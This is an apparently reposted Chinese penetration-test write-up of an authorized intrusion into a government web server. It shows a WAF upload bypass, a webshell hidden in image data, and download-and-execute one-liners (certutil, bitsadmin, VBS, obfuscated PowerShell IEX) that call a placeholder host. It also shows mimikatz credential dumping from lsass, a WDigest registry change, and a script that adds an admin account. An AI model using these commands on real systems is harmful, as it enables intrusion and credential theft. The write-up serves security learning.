转载

一次授权渗透实战

前言

很久没有整理实战文章了,恰好这周项目上有一个目标折腾了两天时间,记录分享下其中的心路历程(本次渗透过程均在目标授权下进行,请勿进行非法渗透行为)。

目标基本信息

某政务网站

服务器–windows

数据库–未知

中间件–Tomcat

开发语言–java

未使用CDN

存在waf–种类未知

Getshell过程

其它漏洞的挖掘过程不再描述,直奔权限,发现目标存在一处上传功能。

一次授权渗透实战

上传成功后返回取件码。

一次授权渗透实战

使用取件码进行信件查询。

一次授权渗透实战

点击附件为下载链接。

一次授权渗透实战

通过对下载链接进行测试,发现报错时泄漏了网站的绝对路径。

一次授权渗透实战

进过几次尝试,成功访问到上传的图片。

一次授权渗透实战

网站waf对上传文件的后缀名进行了白名单限制。

根据以往的bypass经验,开始手撕waf。

后缀名校验绕过

寻找waf的设计缺陷来绕过waf的上传限制,

常用的几种方法有:

删除实体里面的Conten-Type字段

删除Content-Disposition字段里的空格

修改Content-Disposition字段值的大小写

文件名处回车

等等等等。

总结一下思路就是在不影响正常上传功能的前提下,尝试改变数据包的部分格式内容,绕过waf的校验。

经过多次尝试,当Content-Disposition字段修改为Content+Disposition时可以绕过waf,可以看到上传功能的代码未对后缀名做限制,存在任意文件上传漏洞。

一次授权渗透实战

内容校验绕过

成功对文件后缀名进行了绕过。

直接上传免杀还可以的冰蝎马。

一次授权渗透实战

上传失败,再次被waf拦截,发现还存在文件内容校验,尝试使用平时积累的免杀马。

经过尝试免杀马全部阵亡,无一例外。

当使用java的输出函数时也会被waf检测拦截。

一次授权渗透实战

第一次碰到连输出helloword都拦的waf。

经过多次测试,waf对绝大部分的java函数都进行了拦截。

内容加密

这种情况下,首先想到的解决方案是对木马进行加密。

在网上查找相关的资料,发现了LandGrey大佬的一个unicode编码的菜刀马。 传送门

可以上传成功。

一次授权渗透实战

必须要使用caidao-20160622的版本进行连接(默认分隔符: X@Y),然而。

一次授权渗透实战

菜刀流量被waf拦截了。

想到了2种解决方案。

1、使用内容加密的大马,例如下图的php大马的这种加解密。

一次授权渗透实战

2、菜刀马流量中转,上传中转菜刀马,配合本地加解密脚本文件,对数据进行中转加密传输。

中转Webshell 绕过安全狗(一)

中转Webshell 绕过安全狗(二)

奈何网上关于jsp加密大马和jsp中转木马研究的文章数量有限,再加上本人不懂java开发,最后以失败告终。

在这个学习尝试的过程看到了不少大佬优秀的文章,学习到了很多相关知识。如:

菜刀HTTP流量中转代理过WAF

CaidaoMitmProxy:基于HTTP代理中转菜刀过WAF

感兴趣的小伙伴可以研究下。

内容混淆

内容加密bypass失败了,只能换一个思路。

尝试对文件内容进行混淆,绕过waf。

首先想到的是图片马,尝试把木马隐藏到图片源码中,绕过waf。

在这个过程中也踩了一些坑,有些图片源码包含特殊字符会和木马的代码发生冲突,因此需要特殊处理过的图片才能保证正常解析。

使用notepad++打开准备好的图片,把jsp马插入到图片源码中。

一次授权渗透实战

更改为jsp后缀进行上传。

一次授权渗透实战

上传失败,猜测可能是混淆的力度不够,未起到混淆的目的。

开始增加文件内容的长度,复制图片的一段源码,反复的粘贴到木马的前后位置,经过若干次尝试,返回了上传成功,且只能成功一次,下

次上传需要重新混淆,难道waf还自带了机器学习?

一次授权渗透实战

访问webshell地址,文件解析成功,成功拿下了目标的webshell,权限为最高的administrator权限。

一次授权渗透实战

上传的为CMD马,只能执行系统命令,目标通互联网,下一步的思路是:使用命令直接下载cs马或者msf马执行。

使用命令下载免杀exe到本地执行。

cmd下常用的下载命令有三种,推荐使用证书下载命令,免杀性强,其它两种容易被防护拦截。

证书下载

证书下载

certutil.exe -urlcache -split -f http://x.x.x.x/1.exe D:/1.exe 

vbs下载

echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >> downfile.vbs

cscript downfile.vbs http://x.x.x.x/1.exe D://1.ex

bitsadmin命令下载

bitsadmin /transfer n http://x.x.x.x/1.exe D://1.exe

在可以调用powershell的情况下,推荐使用powershell对木马文件进行下载执行,优点是免杀可操作性强,无落地文件。

这里给出我之前发布的免杀powershell命令

powershell.exe "$a1='IEX ((new-object net.webclient).downl';$a2='oadstring(''<a href="http://x.x.x.x">http://x.x.x.x</a>''))';$a3="$a1,$a2";IEX(-join $a3)"

免杀处理的方法有很多,可以参考我之前发布的文章中。 攻防演练对抗赛之初识文件钓鱼

也可以关注我们Tide安全团队的公众号,查看免杀系列文章。

上传后成功执行,cs成功接收到会话信息。

一次授权渗透实战

尝试激活guest用户,加入管理员组失败。

一次授权渗透实战

存在服务器防护需要绕过。

服务器为server 2008,默认情况下,可以使用Procdump+Mimikatz来读取管理员的明文密码。

Procdump由微软官方提供,绝大多数情况下不会被杀。

https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

分为2步:

1、导出lsass.exe进程

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

2、使用mimikatz破解导出的文件lsass.dmp

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

需要上传procdump64.exe生成lsass.dmp文件,下载后本地读取密码。

对于server 2012以上,或者打了补丁的操作系统,无法直接读取明文,必须修改注册表,重启服务器等待管理员登录才能获取到明文密码。

reg add HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/SecurityProviders/WDigest/ /v UseLogonCredential /t REG_DWORD /d 1

还可以选择执行powershell命令添加用户。

使用Get-ExecutionPolicy 查看当前执行策略为Restricted(默认策略,不允许任意脚本的执行)

使用Set-ExecutionPolicy 设置执行的策略为RemoteSigned (本地脚本无限制,但是对来自网络的脚本必须经过签名)

相关powershell命令可查看CSeroad大佬的文章。 传送门

一次授权渗透实战

powershell的免杀性强,大多数情况下都可以执行成功。

上传添加用户的ps1文件到服务器中,调用powershell执行,此方法可以绕过大部分杀软,达到免杀加用户到管理员组的目的。

powershell 1.ps1
$computer=Get-WMIObject  Win32_ComputerSystem
$computername = $computer.name
$username = 'admin'
$password = '1234qwer..' 
$desc = 'Local admin account'
$computer = [ADSI]"WinNT://$computername,computer"
$user = $computer.Create("user", $username)
$user.SetPassword($password)
$user.Setinfo()
$user.description = $desc
$user.setinfo()
$user.UserFlags = 65536
$user.SetInfo()
$group = [ADSI]("WinNT://$computername/administrators,group")
$group.add("WinNT://$username,user")

添加用户成功后。

使用cs自带的socks4隧道。

一次授权渗透实战

本机配置Proxifer。

一次授权渗透实战

成功把本机带入目标内网。

打开远程桌面功能,输入对方的内网ip和远程桌面端口,输入用户名密码。

登录成功,目标安装了服务器安全狗和企业版金山毒霸,到此渗透结束。

一次授权渗透实战

总结

由于不懂java开发,导致前期的getshell耽误了过长时间,未解决的问题,后面还需要再学习。

渗透过程中走了很多弯路,但也学习到了很多新的知识。

*本文原创作者:诺言,本文属于FreeBuf原创奖励计划,未经许可禁止转载

原文  https://www.freebuf.com/articles/web/223994.html
正文到此结束
Loading...